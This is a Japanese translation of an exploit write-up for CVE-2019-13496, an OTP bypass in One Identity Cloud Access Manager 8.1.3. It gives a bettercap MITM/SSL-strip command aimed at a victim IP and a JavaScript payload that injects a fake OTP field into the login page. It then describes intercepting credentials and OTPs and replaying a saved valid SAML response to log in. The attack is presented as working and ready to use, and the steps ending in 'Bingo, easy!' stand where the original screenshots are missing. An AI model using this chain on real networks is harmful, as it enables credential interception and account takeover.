CVE-2019-13496
エクスプロイトタイトル: OTPバイパス (ファイル整合性チェック)
日付: 07/10/2019
エクスプロイト作成者: Furqan Khan
ベンダーホームページ: https://www.oneidentity.com/
ソフトウェアリンク: https://www.oneidentity.com/products/cloud-access-manager/
バージョン: 8.1.3
テスト環境: Kali Linux , Windows 7 ,Ubantu 16.04
OPTバイパス脆弱性を悪用するために、攻撃者は以前に発見されたMITM/SSL-Strip脆弱性( CVE-2019-13498 、 CVE-2019-13498 )を利用します。攻撃者はMITM/SSLストリップ攻撃を実行し、被害者に提供されるWebページにOTPテキストボックスを注入します。被害者は、同じベンダーが所有するDefenderと呼ばれるアプリで生成されたユーザー名、パスワード、OTPを共有します。攻撃者はユーザー名、パスワード、OTPを傍受し、その後、正規のワークフローを介してアプリケーションにアクセスしようとします。盗んだユーザー名とパスワードを入力した後、攻撃者は次のページで盗んだOTPを入力します。OTPページでリクエストを送信する際、署名されたSAMLレスポンスが保存されます。今や攻撃者はOTPを生成するアプリにアクセスできなくても、後続のトランザクションで無効なOTPを入力し、アプリケーションがOTPを無効にする間に、攻撃者は失敗したSAMLレスポンスを以前に取得した正当なSAMLレスポンスと置き換えることができ、アプリケーションは整合性チェックを実行できずに攻撃者をログインさせます。
(1) 攻撃の第一段階はMITM/SSL-Stripを実行することであり、これは以下に記録されています: CVE-2019-13498 、および以下のように指定されています:
使用したbettercapコマンド:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

ここで、192.168.1.103は被害者のIPアドレスです。わからない場合は、bettercapを使用してLAN全体(攻撃者と被害者の共通ネットワーク)のコンテンツをスニッフィングおよび操作できます。
inject_js.jsの内容は以下の通りです
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
被害者が製品(Cloud Access Manager)を閲覧すると、キャッシュポイズニングとSSLストリップ(Bettercap)により、注入されたJavaScriptスニペットを介して被害者に提供されるページにOTPテキストボックスが注入されます。#####

SSLストリップによって接続がHTTPにダウングレードされるため、すべてのトラフィックが攻撃者に見えるようになります。したがって、トラフィックを傍受して、被害者が送信したユーザー名、パスワード、OTPを確認できます。#####

ここで、保存した認証情報で一度ログインし、すべての有効なリクエストとレスポンスを保存したと仮定します。
このセクションでは、以前に保存したOTPレスポンスを使用して、OTP検証をバイパスし、アプリケーションにログインする方法を学びます。
以下に示すように無効なOTPを入力しましょう:

以下はOTP検証に失敗したレスポンスです。

失敗したレスポンスを、以前に保存した正当なレスポンスと置き換えます。

以下はOTP検証に失敗したSAMLレスポンスです。

失敗したレスポンスを、以前に保存した正当なSAMLレスポンスと置き換えます。

ビンゴ、アプリケーションがログインしました。本来なら整合性チェックを行い、OTPが期限切れであることを考慮すべきでした。

ビンゴ!簡単でした!